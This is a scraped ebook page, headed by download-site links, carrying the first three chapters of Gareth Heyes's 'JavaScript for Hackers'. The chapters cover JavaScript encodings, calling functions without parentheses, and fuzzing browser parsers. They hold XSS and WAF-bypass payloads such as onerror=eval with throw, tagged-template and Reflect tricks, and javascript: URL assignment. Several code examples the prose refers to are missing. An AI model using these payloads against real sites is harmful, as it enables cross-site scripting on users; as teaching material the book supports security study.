(Ebook) Javascript For Hackers by Gareth Heyes
(Ebook) Javascript For Hackers by Gareth Heyes
com
https://ebooknice.com/product/javascript-for-
hackers-51786952
OR CLICK BUTTON
DOWLOAD EBOOK
https://ebooknice.com/product/web-application-obfuscation-wafs-evasion-filters-
alert-obfuscation-2509350
ebooknice.com
(Ebook) Servers for Hackers: Server Administration for Programmers by Chris Fidao
https://ebooknice.com/product/servers-for-hackers-server-administration-for-
programmers-22446142
ebooknice.com
(Ebook) Servers for Hackers: Server Administration for Programmers by Chris Fidao
https://ebooknice.com/product/servers-for-hackers-server-administration-for-
programmers-22506570
ebooknice.com
https://ebooknice.com/product/linux-basics-for-hackers-7306878
ebooknice.com
(Ebook) Network Basics for Hackers by OccupyTheWeb ISBN 9798373290043, 8373290044
https://ebooknice.com/product/network-basics-for-hackers-50445114
ebooknice.com
(Ebook) Essential Skills for Hackers by Cardwell, Kevin; Dalziel, Henry ISBN
9780128047552, 0128047550
https://ebooknice.com/product/essential-skills-for-hackers-5433130
ebooknice.com
(Ebook) Machine Learning for Hackers by Drew Conway, John Myles White ISBN
9781449303716, 1449303714
https://ebooknice.com/product/machine-learning-for-hackers-2542632
ebooknice.com
(Ebook) Black hat Python : Python programming for hackers and pentesters by Seitz,
Justin ISBN 9781593275907, 1593275900
https://ebooknice.com/product/black-hat-python-python-programming-for-hackers-
and-pentesters-6853868
ebooknice.com
(Ebook) iOS Application Security: The Definitive Guide for Hackers and Developers by
David Thiel ISBN 9781593276010, 159327601X
https://ebooknice.com/product/ios-application-security-the-definitive-guide-for-
hackers-and-developers-5499142
ebooknice.com
JavaScript for hackers
Learn to think like a hacker
Gareth Heyes
This book is for sale at http://leanpub.com/javascriptforhackers
This is a Leanpub book. Leanpub empowers authors and publishers with the Lean Publishing
process. Lean Publishing is the act of publishing an in-progress ebook using lightweight tools and
many iterations to get reader feedback, pivot until you have the right book and build traction once
you do.
Credits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 75
Chapter one - Introduction
JavaScript has always been my passion, I’m fascinated by ways to help me understand JS further.
You can often see me tweeting about ways to call functions without parentheses, insane XSS vectors
and general ways to find deeper ways of understanding a particular feature. I’m often asked how
a tweet can be used to apply to a WAF bypass or browser exploit. For me this isn’t important, sure
you could use ways to call JavaScript functions without parentheses to bypass WAFs but the point
of my tweets is often to rapidly gain knowledge that could be applied later.
One such example is [].sort, sort accepts a function and I found that you could abuse that to call the
alert function indirectly which I will talk about later. What I’m trying to do is hack my brain to make
these vectors important enough for me to remember, you’ll see me posting variants of a particular
technique and it certainly helps that I find enjoyment out of finding these techniques. How often
have you found yourself reading a book or particular article for it not to sink in? By looking for ways
to hack JavaScript you are learning about a feature and then applying that knowledge to achieve a
goal, it doesn’t matter what that goal is as long as you’ve got a target it will help you remember.
These sort of techniques can apply to anything really and it’s pretty much common sense really, if
you look at sport as an example you won’t get better at something just by reading about it, you have
to apply that knowledge and practice and train by actually doing the sport. JS hacking is a lot like
this, there is no way in your day to day job you’ll use every feature JS has but if you try and hack
it you can choose the feature to learn about. This is really my philosophy and is exactly what this
book is about. I’m going to try and teach you how to follow it and learn at a rapid pace but enjoy
what you are doing.
Environment
In order to follow this process you need a rapid environment to conduct your tests. What it means
is you need something that you can execute your code and instantly get the results. This can be a
multitude of things, a browser console, local web server or a web app such as JS Fiddle. Personally I
decided to write my own web app called “Hackvertor”, giving it the ability to evaluate code, inspect
objects, write HTML but other options are fine too. I just wanted more power and to make sure my
input isn’t being logged somewhere. Your environment needs to be able to evaluate JavaScript and
return the results at the bare minimum.
Set a goal
Once you’ve got your chosen environment set up the next step is to set a goal. If you have no goal you
can be staring at a blank page not getting anywhere. A goal enables you to make sure you’re always
Chapter one - Introduction 2
trying something and it can be flexible too. For instance one of my goals was “execute JavaScript
without parentheses”. If you’ve set a good goal it will almost likely never end and good ones also
mutate into another goal for example the goal I mentioned earlier mutated into “execute JavaScript
functions without parentheses and pass arguments”. Now you can see how these two goals are useful
because now you have a clear idea what you have to do and you can abuse JavaScript features to
achieve that goal. In the example above the second goal is more challenging than the first but the
second goal enables you to gain knowledge to achieve the more difficult goal.
Fuzzing
Fuzzing is one of the most important tools in a JavaScript hackers toolbox, it enables you to answer
questions really fast and discover new things by getting the computer to report the results. Fuzzing is
simply writing code that enumerates characters, code or data in order to find interesting behaviour.
In binary exploitation you’d use a fuzzer to find DoS or an exploitable crash but when JavaScript
hacking the idea is to achieve your goal by getting answers to questions. For example I set myself a
goal to understand what characters are allowed as whitespace, you might be wondering to yourself
why not simply look at the specification? You should not use the specification as your only source of
information when trying to discover browser behaviour because browsers sometimes do not follow
the specification, this can be because they make a mistake or simply choose not to for various reasons
like backward compatibility.
Using fuzzing is an important tool to find these interesting edge cases. You might wonder why these
edge cases are important, in the whitespaces example I gave I was writing a JavaScript parser and
sandbox and whitespace turns out to be pretty significant when trying to parse JavaScript and could
lead to a sandbox bypass. By ensuring I handled whitespace correctly according to what the browser
does I could ensure my sandbox was more secure. Later in the book I’ll show you how to use fuzzing
to answer questions and discover interesting behaviour.
Social media
I use Twitter a lot when I hack JS hacking. It’s useful because you can get instant feedback on your
technique both positive and negative. As you build followers you’ll find other people who enjoy
the same thing and you’ll find that they point out a variant or something you’ve overlooked. This
is great because not only are you learning but everyone who sees the conversion is learning too.
Imagine if everyone took this approach, everyone would learn at a rapid pace and we’d find some
really interesting JavaScript behaviour. When I tweet something it also sticks in my head and if I
forget I can always search Twitter or download my tweets to find the particular technique. One
important thing though is that Twitter is not good for long term storage of data, if you’ve found
something you’re particularly proud of you are better off writing a blog post and then tweeting a
link to it.
The basics
In this section I’ll go over the basics of JavaScript hacking to give you the foundation to handle the
other chapters. If you’re an experienced developer or JS hacker please feel free to skip this section.
If you want to learn more about JavaScript then please stick with me. JavaScript supports various
types of encoding, you have hexadecimal, octal and two flavours of unicode encoding.
Hexadecimal
First up we’ll tackle hexadecimal encoding, this works only within strings, if you try and use them
as identifiers then they will fail. Hex uses a base of 16 and the escape is prefixed with an “x”. Here
are some examples:
1 '\x61'//a
2 "\x61"//a
3 `\x61`//a
4
5 function a(){}
6 \x61()//fails
In the examples above you can see the first three work correctly inside strings but the last example
fails to call the function because hex escapes aren’t allowed there. Another interesting aspect is that
hex escapes have to use a lowercase “x”, if you use an uppercase “X” then it won’t be treated as a
hex escape and the JavaScript engine will simply process the string as a literal X followed by the
characters you specify.
Chapter one - Introduction 4
Unicode
Unicode escapes also work in strings but are also allowed in identifiers. There are two forms of
unicode escapes “\u” and \u{}. The former allows you to produce a character within the range 0x00-
FFFF whereas the latter allows you to specify the entire range of unicode code points. Here are some
examples of unicode escapes:
1 '\u0061'//a
2 "\u0061"//a
3 `\u0061`//a
4
5 function a(){}
6 \u0061()//correctly calls the function
The code above will all execute perfectly fine, each string allows unicode escapes and the function
will be called correctly. Some important points about this form of unicode escapes is you must
specify four hexadecimal characters for example \u61 is not allowed, most browsers will throw an
exception; There were some browsers that allowed invalid unicode escapes such as \u61 but this
was a browser bug. You cannot encode parentheses or other characters only identifiers outside of
strings. Next up is another type of unicode escape that allows you to specify unicode code points for
the entire unicode range, they have similar characteristics as standard unicode escapes in that you
can use them in strings and identifiers but unlike standard unicode escapes you are not restricted to
four hexadecimal characters. To use these unicode escapes you use \u{} inside the curly braces you
specify a hex unicode code point. The following examples will work fine with this type of unicode
escape:
1 '\u{61}'//a
2 "\u{000000000061}"//a
3 `\u{0061}`//a
4
5 function a(){}
6 \u{61}()//correctly calls the function
7
8 \u{3134a}=123//unicode character "3134a" is allowed as a variable
As the code demonstrates above an unlimited amount of zero padding and the exclusion of zeros
will be allowed. You can specify higher unicode characters as the last example shows. Those are the
main differences between the two unicode escapes.
Octal
Octal escapes use base 8 and can only be used strings. There is no prefix with octal escapes; you
simply use a backslash followed by a base 8 number. If you try to use a number outside the octal
range the JavaScript engine will just return the number:
Chapter one - Introduction 5
1 '\141'//a
2 "\8"//number outside the octal range so 8 is returned
1 eval('\x61=123')//a = 123
You can do the same with unicode escapes but because they are allowed in identifiers you can double
encode them:
1 eval('\\u0061=123')
2 //\u0061 = 123
3 //a = 123
As the above example shows you can escape the backslash inside the string which produces a unicode
escape which is then used as an identifier. The unicode escape effectively translates to a=123. You
aren’t limited to escaping the backslash either; you can escape any part of the escape when using
eval and can of course mix and match the encodings. This is quite difficult to illustrate without being
overly complex and confusing. So I’ll demonstrate in parts:
Strings
There are three forms of strings, you have single quoted, double quoted and template strings. As
mentioned in the escapes section you can use various types of encoding within all the types of
strings. In addition you can use single character escape sequences:
Chapter one - Introduction 6
1 '\b'//backspace
2 '\f'//form feed
3 '\n'//new line
4 '\r'//carriage return
5 '\t'//tab
6 '\v'//vertical tab
7 '\0'//null
8 '\''//single quote
9 '\"'//double quote
10 '\\'//backslash
You can also escape any character that isn’t part of an escape sequence and they are treated as the
actual character for example:
1 "\H\E\L\L\O"//HELLO
Interestingly you can use a backslash at the end of line to continue it onto the next line:
1 'I continue \
2 onto the next line'
1 let foo = {
2 'bar\
3 ': "baz"
4 };
Double and single quoted strings do not support multiple lines unless you use \ to continue to the
next line, template strings however support multiple lines and the continuation behaviour. This can
be proved with the following code:
1 x = `a\
2 b\
3 c`;
4 x==='abc'//true
5
6 x = `a
7 b
8 c`;
9 x==='abc//false
Chapter one - Introduction 7
So as you can see above the first code snippet proves the continuation behaviour exists in template
strings since the new lines aren’t added to the string. The second snippet shows template strings
supporting new lines and they are included within the string. Template strings have a feature that
allows you to execute arbitrary JavaScript expressions within placeholders, they are define using ${},
your expression goes inside the curly braces:
1 `${7*7}`//49
Surprisingly any JavaScript expression is supported within the placeholders including templating
string! Which means you can nest template strings within template strings, this leads to bizarre
looking JavaScript that is perfectly valid:
1 `${`${`${`${7*7}`}`}`}`//49
Imagine trying to write a parser for that! I admire V8, JavaScript Core and Spidermonkey because
JavaScript is so complex nowadays it takes some clever parsing to get it right. Anyway you can
call functions too using what’s called tagged template strings. You simply specify the function or
expression that returns a function to call and use backticks after it to call that function:
As mentioned it supports an expression too, so again you can have bizarre looking JavaScript that
calls multiple functions. Let’s crank it up a notch and demonstrate this. If you have a function that
returns itself you can have an unlimited amount of backticks:
1 function x(){return x}
2 x````````````
It looks like an error but the above will execute in any JavaScript engine that supports tagged
template strings. The function is called once and because it returns itself another template string
is allowed because it’s a function and so on.
1 function x(){
2 console.log(this.bar);//baz
3 }
4 let foo={bar:"baz"}
5 x.call(foo);
In the above example we use the object “foo” as the “this” value for the function “x” and pass it to
the call function, the “x” function uses this which now refers to our foo object and the bar property
returns “baz”. When the “x” function is called there are no arguments, if you would like to pass
arguments to the function then you simply add them to the call function like so:
1 function x() {
2 console.log(arguments[0]);//1
3 console.log(arguments[1]);//2
4 console.log(this);//[object Window]
5 }
6 x.call(null, 1, 2)
If you don’t supply a “this” value to the call function it will use the window object if not in strict
mode because we used null in the first argument to the call function “this” will default to the window
object as we are not in strict mode. If you use the “use strict” directive “this” will be null instead of
window:
1 function x() {
2 "use strict";
3 console.log(arguments[0]);//1
4 console.log(arguments[1]);//2
5 console.log(this);//null
6 }
7 x.call(null, 1, 2)
The apply function is pretty much exactly the same as the call function with one important difference,
you can supply an array of arguments in the second argument:
1 function x() {
2 console.log(arguments[0]);//1
3 console.log(arguments[1]);//2
4 console.log(this);//[object Window]
5 }
6 x.apply(null, [1, 2])
Chapter one - Introduction 9
Summary
In this chapter we’ve had a gentle introduction to the core concepts of the book and learnt various
useful JavaScript features that we can use later to create interesting vectors. We’ve also learnt my
approach to JavaScript hacking and how to apply this to help you learn at a more rapid pace. Next
we will continue our journey into JavaScript and set our own goal for the chapter to learn some new
techniques!
Chapter two - JavaScript without
parentheses
Calling functions without parentheses
One of my favorite goals is the title of this chapter because there is so much depth with it. You can
create multiple sub-goals with it and it will help you understand JavaScript features quickly. I think
my first attempt with executing JS without parentheses was tinkering with the valueOf method. You
can use valueOf when you want a particular object to return a primitive value such as a number.
Generally you’d use it with an object literal to make your object interact with other primitives to
perhaps perform addition or subtraction:
This is interesting because valueOf allows you to define a function that gets called when the object
is used as a primitive. So we can just use the alert function instead of a custom function and that
will be called instead right? Well it’s not as easy as that, let’s try it and see what happens:
We define alert as the function to call with valueOf, the object is used with the addition operator
that calls the valueOf method, valueOf is assigned to the alert function but when attempting to call
alert the JavaScript engine will throw an “illegal invocation” error. This is because the alert function
requires the “this” to be a window object. When our alert function is called the “this” object will be
our custom object called obj that is why an exception is thrown. Most objects in JavaScript inherit
from the Object prototype and valueOf is actually defined in the Object prototype, this means we
don’t need to use a custom object; we can use an existing object since pretty much every object
has valueOf functionality! Can you see where this is going? The window object itself has a valueOf
method and we can overwrite that:
1 window.valueOf=alert;window+1//calls alert()
This time the alert call is successful and this is because we changed the windows valueOf method
and when valueOf is called the “this” object will be window and the illegal invocation error will
Chapter two - JavaScript without parentheses 11
not be thrown. You might have noticed that the above can be shortened because you don’t need to
specify “window.”, this is because it is implied that the window object is used so you can actually
remove “window.” and valueOf will still use the window object. I included it above for clarity but
this works at the time of writing:
1 valueOf=alert;window+1//calls alert())
1 toString=alert;window+''
This is a great area to explore since there may be other ways of calling functions.
As mentioned the throw statement accepts an expression and it doesn’t necessarily need to be an
object, you can throw a string and this gets passed to the error handler. So to call a function with
arguments we need to set the handler and throw a string like so:
1 onerror=alert;throw 'foo'
Which results in Chrome at least an alert box with “Uncaught foo”. You might be thinking how can
we execute arbitrary code? If you replace “alert” with “eval” then when the exception is thrown it
will get evaluated as code. But that leaves us with the unfortunate “Uncaught” with a space. To get
round that we can simply inject an equals to make the “Uncaught” become a variable assignment
and therefore be valid JavaScript:
Chapter two - JavaScript without parentheses 12
1 onerror=eval;
2 throw"=alert\x281\x29";
One thing to note is that the throw statement is a statement which means it can’t be used as an
expression, you can’t for instance use it in a function call:
This means you have to be aware where you use it and if you want to bypass a WAF (Web Application
Firewall) you need to know what characters you can use. Let’s set a small sub-goal here, how can
we use the throw statement to call arbitrary JavaScript without using semicolons? JavaScript has
block statements; they weren’t widely used because “var” wasn’t block scoped but the introduction
of “let” allows block scoping. So maybe they’ll catch on. When using a block statement you don’t
have to include semicolons after the block this easily gets around that semicolon restriction:
1 {onerror=eval}throw"=alert\x281337\x29"
Another way to get round the character restriction is to use JavaScript’s ASI (automatic semicolon
insertion), you can use new lines instead of the semicolons and JavaScript will insert them for you
automatically:
1 onerror=alert
2 throw 1337
JavaScript supports paragraph and line separators for new lines too which are super useful for
bypassing a WAF since “onerror=” is likely going to be blocked but the regexes often overlooked
the alternative characters. I’ll use eval to illustrate this since the characters won’t print very well:
1 eval("onerror=\u2028alert\u2029throw 1337");
The unicode escape \u2029 represents the paragraph separator and \u2028 represents the line
separator. Both act as new lines and wherever you can put a new line you can use these characters.
Throw expressions
One interesting thing about the throw statement is that you can use an expression and the right
most part of it is going to be sent to the exception handler. If you are not sure on what I mean let’s
look at the comma operator. The comma operator evaluates the expression from left to right and
returns the last operand. For instance let’s assign a value to “foo” and use the comma operator:
Chapter two - JavaScript without parentheses 13
The value of foo will be, can you guess it? Baz. This is because the comma operator returns the
last part of the expression. When using the throw statement it accepts a JavaScript expression and
therefore the comma operator works just fine here. Therefore you can abuse this functionality to
reduce the amount of characters you use and create some surprising JavaScript:
1 throw onerror=alert,1337
The above code uses the throw statement and assigns the onerror handler, the comma operator is
then used and the result of the expression “1337” is passed to the exception handler which results in
alert being called with “Uncaught 1337”. Any number of operands can be used as long as it’s part of
the same expression and the final operand will always be passed to the exception handler:
1 throw onerror=alert,1,2,3,4,5,6,7,8,9,10//Uncaught 10
Another feature in JavaScript is optional exception variables inside a catch clause. This allows us to
use try catch blocks without parentheses and simply throw the exception again to call the exception
handler:
Tagged templates
Tagged template strings offer many ways to call functions without parentheses. As mentioned in
the strings section in chapter one, you can use template strings to call functions:
1 alert`1337`
The above calls “alert” with “1337”, template strings also support placeholders that can embed
JavaScript expressions. Placeholders can be defined with ${} and even support nested template
strings:
1 `${alert(1337)}`
2 `${`${alert(1337)}`}`
When using tagged template strings an array of strings is passed as the first argument to the function,
if there are no placeholders this will be one string however if there are placeholders the strings will
be separated:
Chapter two - JavaScript without parentheses 14
1 alert`foobar`//foobar
2 alert`foo${1}bar`//foo,bar
We can use this functionality to evaluate code but when using eval the code won’t be executed:
Can you guess the reason for this? It’s because the eval function will simply return an array and
not convert the argument sent to it to a string. If you use an alternative function such as setTimeout
that does convert the argument into a string then this will work just fine:
1 setTimeout`alert\x281337\x29`//alert(1337) called
There are more to tagged templates, if you use a placeholder that evaluates to a string then this
won’t be added to the array of strings in the first argument but will actually be used as the second
argument and so on:
1 function x(){
2 console.log(arguments);//Arguments(4) [Array(4), 'foo', 'bar', 'baz',...
3 }
4
5 x`${'foo'}${'bar'}${'baz'}`
You can abuse this functionality to call the Function constructor with arbitrary JavaScript. There are
a couple of things to be aware of before. The Function constructor accepts multiple arguments but
if you provide one argument this will be used as the body of the function, if you provide more than
one the last argument will be used as the body of the function. This means we could use the array
of strings in the first argument which will be converted to a string and specifies an argument for the
function being constructed and the last argument will use the result of the placeholder expression:
1 Function`x${'alert\x281337\x29'}`//generates a function
If you evaluate the above you’ll notice it generates an anonymous function with “x” as an argument
and a function body but it won’t execute. We need to call the function in order for it to execute, as
we learned in chapter one we can use any expression in a tagged template. So to call our generated
function we just need to add “ at the end of our expression:
What’s interesting about the placeholder expressions is they are separated from strings as another
argument as we’ve observed. But not only that their type is retained too so we can pass an array
of strings as the first argument and any type in the second argument and so on. This can produce
some wacky looking JavaScript that is perfectly valid.
Let’s try and abuse this functionality, first with setTimeout. You can use 3 arguments with
setTimeout, the first is a string or function to call, the second is the number of milliseconds to call
the function after and the third is the arguments to send to the function provided the first argument
is a function not a string. Combining all this knowledge you might think the following will work:
1 setTimeout`${alert}${0}${1337}`//doesn't work
The reason this fails is because a blank array of strings is sent as the first argument and not our alert
function! We’ll have to find a different way of executing arbitrary JavaScript, in chapter one we
learnt about apply and call, we could use call here to assign the array of strings to the “this” value
of the function and that would mean the first placeholder would be used as the first argument to
the setTimeout function. Let’s try it and see what happens:
It doesn’t work and it’s because the “this” value is no longer the window object and setTimeout will
throw an illegal invocation error if that’s the case. If we try and use a string instead of placeholder
this will work fine because only the string is passed to the setTimeout function as the first argument
and the second and third will be omitted and the “this” value will be the window object:
1 setTimeout`alert\x281337\x29`
Our sub-goal here is to call any function using placeholders, we’ll somehow need to get around the
restriction of illegal invocation errors. To do that let’s look at ways of calling alert. We’ve seen you
can use onerror=alert to call it but what about some other ways. If you think about it you need a
JavaScript API that allows you to call a function by passing a reference to it, this would enable us
to call functions from placeholders. The first thing to do here is to inspect the various methods that
are available to us, you can do this using the console, a web app or custom inspector. I chose the
latter and used by Hackability Inspector tool that I wrote. I used the inspector to enumerate string
methods and remembered that the replace function allows you to use a function when a replacement
match is found. If I pass a reference to the alert function then maybe replace could be used to call
alert:
This looks promising. We use a string of “a”, a regex to find it and then specify the alert function to
call when the match has been found. There are a couple of problems though, we use a regex and the
regex has to match and the match is what is sent to the function as an argument. Luckily the replace
function allows you to specify a string as well as a regex which means we could use the array of
matches in the tagged template as it will be converted to a string from an array:
Chapter two - JavaScript without parentheses 16
That’s a bit weird. We need to pass the comma too because the arrays get converted into a string.
How can we get around that? One way is to use call to change the “this” value which means we
could control the match argument and we could use a regex to match any character:
What is happening above is the replace function is called with call, this assigns “this” to the tagged
template string matches of “1,”, we use a regex and because call is used we’ll pass this regex to the first
argument of the replace function and the regex matches any single character (excluding new lines)
then we pass the reference to the alert function which results alert being called with 1. Phew. That’s
pretty insane right? Who knew template strings could be abused in this way? A good challenge here
is can you call an alert with 1337 instead of 1.
You can call pretty much any function with this technique and any arguments by using the Reflect
object. So what exactly is the Reflect object? Well, it allows you to perform operations like a function
call, get/set operation on any object. It can be used instead of call and apply for instance because
it has a custom apply method that can be used to call functions on any object. You simply pass the
function, object and arguments you would like to call the function. As mentioned it can be used for
other operations too but for now let’s concentrate on the apply method:
Let’s break down what is happening here, we are passing the function we want to call in this case
“alert”, we’re passing the “this” value to that function in this case “window” which avoids the illegal
invocation error and finally we are passing an array of arguments we wish to pass the function.
“Call” is used to avoid passing an empty array of strings as the first argument as mentioned earlier.
The Reflect apply method doesn’t require a specific “this” value and will happily execute with any
object assigned to “this”.
We can do the same for other operations such as set. The set method of the Reflect object allows you
to perform a set operation on any object. It can be demonstrated by assigning to the location object:
1 Reflect.set.call`${location}${'href'}${'javascript:alert(1337)'}`
2 //assigns a javascript url
The set method requires a valid object in the first argument in this case “location”, a property in the
second argument and a value to assign in the third.
Chapter two - JavaScript without parentheses 17
1 'alert\x281337\x29'instanceof{[Symbol['hasInstance']]:eval}//calls alert(1337)
In the example above we define our payload in the string before the instanceof operator and we
use a new object literal with the “hasInstance” symbol and assign the eval function, then when
the instanceof operator runs with the string and object, the string gets passed to eval and the alert
function will be called. You can use the symbol in this way without the square brackets:
1 'alert\x281337\x29'instanceof{[Symbol.hasInstance]:eval}//calls alert(1337)
Summary
This chapter showed you how to define a goal and subgoals within that goal. This enabled you
to learn various JavaScript features at a rapid pace and made sure you are not staring at a blank
screen. Having clear goals in mind helps you to focus on interesting features and ensure you are
constantly learning. In this chapter we learnt about the onerror handler and how to abuse it for
executing JavaScript without parentheses, we moved onto tagged template strings and uncovered
surprising behaviour of using placeholders to pass arguments to functions with their type and finally
we covered the “hasInstance” symbol and how to abuse it for JavaScript hacking.
Chapter three - Fuzzing
The truth
When it comes to fuzzing it’s often thought that you use it to discover exploitable vulnerabilities
or crashes. Certainly you can use fuzzing for that and I have found vulnerabilities in the past but
you can also use fuzzing to find browser behaviour and this is what this chapter is about. Fuzzing
will save you a lot of time and help you build your JavaScript knowledge very quickly. It’s often
tempting to look at a specification for your source of truth on a particular JavaScript behaviour, this
is an incorrect mindset because different browsers might have their own quirks that didn’t follow
the specification or they could be implemented incorrectly. I’m not saying don’t use the specification,
I’m just saying don’t believe it and use fuzzing to discover the truth.
My first foray into behavioural fuzzing was to find characters that were allowed in a JavaScript
protocol URL. I started off creating a JavaScript URL inside an anchor href attribute and was
manually injecting HTML entities and hovering over the link to see if it was still the JavaScript
protocol. I thought to myself there has got to be a better way. At the time I thought the best way
to do this would be in a server side programming language like PHP. So I constructed a fuzzing
tool that looped through characters in chunks and reported the results. This was back in 2008 and it
found loads of interesting results:
This is a great example why you need fuzzing, you would have to manually edit over 56,000 entities
to find this bug. That’s also presuming you just want to test entities and not the raw characters! You
need fuzzing in your life to make things much easier. Back in 2008 computers were much slower than
they are now and I had a crappy slow laptop too so I had to do it in chunks, nowadays computers
and browsers are much faster, you can literally fuzz millions of characters in a few seconds.
1 log=[];
2 let anchor = document.createElement('a');
3 for(let i=0;i<=0x10ffff;i++){
4 anchor.href = `javascript${String.fromCodePoint(i)}:`;
5 if(anchor.protocol === 'javascript:') {
6 log.push(i);
7 }
8 }
9 console.log(log)//9,10,13,58
Let’s break down this rather simple code, first we create an array and anchor and the we loop through
all possible unicode code points (there are over 1,000,000) then we assign the href and insert our
codepoint using the String.fromCode point function and we place the character(s) after the javascript
string. The protocol property is used to check if the generated link is actually the JavaScript protocol.
Quite astonishingly the browser will complete the operation in seconds. if you are old like me and
remember when this sort of thing would just DoS the browser. Now to fuzz other parts of the href
we simply need to move the placeholder. Shall we fuzz the start of the JavaScript string? Change the
placeholder to:
1 anchor.href = `${String.fromCodePoint(i)}javascript:`;
1 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,3\
2 1,32
A lot more characters, notice the NULL at the start (char code 0 is NULL when expressed as a
character), this is specific to the DOM code path. It will not work when using it in regular HTML.
This is why you have to fuzz both styles DOM and innerHTML. The first thing to do when you’ve
done a fuzz operation and have some interesting results is to verify them. This is easy to do, you
simply manually regenerate the DOM you fuzzed. So pick a code point at random and let’s generate
the DOM code for it and click it to confirm it works:
I picked codepoint 12 (form feed), created a JavaScript URL that calls alert, added some text to the
anchor and finally added it to the body element. When clicking the link it should call alert and now
you’ve verified that your fuzz code actually works. Try experimenting with the different codepoints
to ensure that it is working as intended. A couple of questions to ask yourself are “Can you use
Chapter three - Fuzzing 20
multiple characters?” or “Can you multiple characters at different positions?”. I’ll leave it to you as
an exercise to answer those questions.
One thing to remember when working with the DOM is that HTML entities are not decoded when
directly editing properties except for HTML based ones. So there’s no point using the href attribute
property trying to fuzz HTML entities. For that you’ll have to use innerHTML. Let’s try the same
character in HTML and see if it works:
It works so generally where you see results for the DOM you can use them in HTML with entities.
As mentioned there was one exception, remember the NULL at the start? This works in the DOM
but not in HTML:
The above doesn’t work and this is why it’s important to verify your results and test it in the
DOM and in innerHTML or HTML. You can see here there’s plenty of opportunity for automation
here, using Puppeteer or another framework might be a good idea to verify your results instead of
manually doing it each time.
1 a=document.createElement('a');
2 log=[];
3 for(let i=0;i<=0x10ffff;i++){
4 a.href = `${String.fromCodePoint(i)}https://garethheyes.co.uk`;
5 if(a.hostname === 'garethheyes.co.uk'){
6 log.push(i);
7 }
8 }
9 console.log(log)
10 //0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30\
11 ,31,32
The above code finds that HTTP URLs support exactly the same characters as the start of a JavaScript
URL. Note again that the NULL character is supported in the DOM but not the HTML context. In
Chapter three - Fuzzing 21
order to find client-side open redirects that can be useful in bug chains, you might want to fuzz
protocol relative URLs. In case you don’t know protocol relative URLs allow you to reference an
external URL by using a double forward slash. They inherit the current protocol of the page for
example if the site is using HTTPS:// the protocol relative URL will use that protocol. Let’s fuzz the
inside of the forward slashes to see what characters are supported:
1 a=document.createElement('a');
2 log=[];
3 for(let i=0;i<=0x10ffff;i++){
4 a.href = `/${String.fromCodePoint(i)}/garethheyes.co.uk`;
5 if(a.hostname === 'garethheyes.co.uk'){
6 log.push(i);
7 }
8 }
9 input.value=log//9,10,13,47,92
As you can see you can place whitespace characters between the slashes and in addition the backslash
character can be used just like a forward slash.
Fuzzing HTML
We’ve seen how to fuzz JavaScript URLs but we can also take the same approach when fuzzing
HTML. By using the innerHTML API we can discover parser quirks extremely fast just like we did
with the DOM properties. Before you start it’s a good idea to ask yourself a question in your head
as a target for fuzzing. For example I asked myself “What characters are allowed in closing HTML
comments?”. To answer this question let’s think how to achieve it, if a HTML comment is closed
then the following tag after the comment must be rendered! Therefore we can simply check if that
HTML element is rendered using the querySelector API. Here’s how it’s done:
1 let log=[];
2 let div = document.createElement('div');
3 for(let i=0;i<=0x10ffff;i++){
4 div.innerHTML=`<!----${String.fromCodePoint(i)}><span></span>-->`;
5 if(div.querySelector('span')){
6 log.push(i);
7 }
8 }
9 console.log(log)//33,45,62
It’s very similar to the DOM properties fuzzing and you might notice it takes a little longer because
the browser has to do more work. We create a div element, loop through all the unicode codepoints
Chapter three - Fuzzing 22
again but this time use innerHTML to create a HTML comment, just before the closing greater than
we inject our unicode character, if the comment is closed the following span won’t be rendered
and therefore the querySelector for the span will be null. We want to know if the comment worked
so when the span element is found then we log the results. I tried this on Chrome and any of the
following characters close a comment after a double hyphen: !->
You can try this on other browsers and experiment by moving the placeholder to different parts of
the closing comment tag. I ran code very similar to this on Firefox a few years ago and found you
can use new lines before the greater than! It’s possible to use the querySelector the other way too,
you can check if a starting comment tag actually worked by checking that the following span wasn’t
rendered. Indeed I used this very technique to find another parsing flaw in Firefox that allowed you
to use NULLs inside the hyphens of an opening comment tag.
1 let log=[];
2 let div = document.createElement('div');
3 for(let i=0;i<=0x10ffff;i++){
4 div.innerHTML=`<!-${String.fromCodePoint(i)}- ><span></span>-->`;
5 if(!div.querySelector('span')){
6 log.push(i);
7 }
8 }
9 console.lgo(log)//45
It’s the same code as before except the placeholder is inside the starting comment tag and the
querySelector checks if the span doesn’t exist. You should get one result 45 for the hyphen character,
if you see more than that then you have a browser bug. One thing to remember when fuzzing like this
is to ensure your generated markup doesn’t create false positives, for instance you can see there’s a
very deliberate greater than after the space and hyphen. This is to prevent the span being consumed
as a different tag by the various fuzzing characters. It’s good to defensively code like this as it will
save you time.
1 function x(){}
2
3 log=[];
4 for(let i=0;i<=0x10ffff;i++){
5 try {
6 eval(`x${String.fromCodePoint(i)}()`)
7 log.push(i)
8 }catch(e){}
9 }
10
11 console.log(log)
12 //9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8\
13 232,8233,8239,8287,12288,65279
That’s a surprising amount of characters although this only proves whitespace can be used between
identifier and parentheses to do some comprehensive fuzzing you’d have to have various positions
for the character and more contexts. I’ll leave you to do that and test various browsers. If you find an
unexpected behaviour you could report it. What could you use these deviations for? Well, in the past
I’ve used them for JavaScript sandbox escapes since if you can fool parser into incorrectly lexing a
character as non whitespace when it is in fact it is then you can cause your JavaScript to be parsed
one way by the sandbox and another by the browser or NodeJS.
You can also use pairs of characters to fuzz things like strings, it will usually be around the same
speed to fuzz duplicate characters, things get slow when you use nested fuzzing. Maybe we have
to wait a few years until that is practical. Fuzzing for strings is pretty easy; you just need to use a
pair of characters and verify that string-like behaviour has happened. One way to do that is to use a
try catch block and an eval and see if a bunch of random characters don’t cause an exception when
using the pair of characters. This would indicate that there is string-like behaviour.
1 log=[];
2 for(let i=0;i<=0x10ffff;i++){
3 try {
4 eval(`${String.fromCodePoint(i)}%$£234${String.fromCodePoint(i)}`)
5 log.push(i)
6 }catch(e){}
7 }
8 console.log(log)//34,39,47,96
Were you expecting three characters? Can you think what other character will cause string-like
behaviour? Regexes of course you can use a pair of forward slashes to encapsulate the characters
and it won’t cause an exception because the characters will be treated as a regex. Chrome is pretty
fast with this operation but at the time of testing Firefox is dead slow.
Chapter three - Fuzzing 24
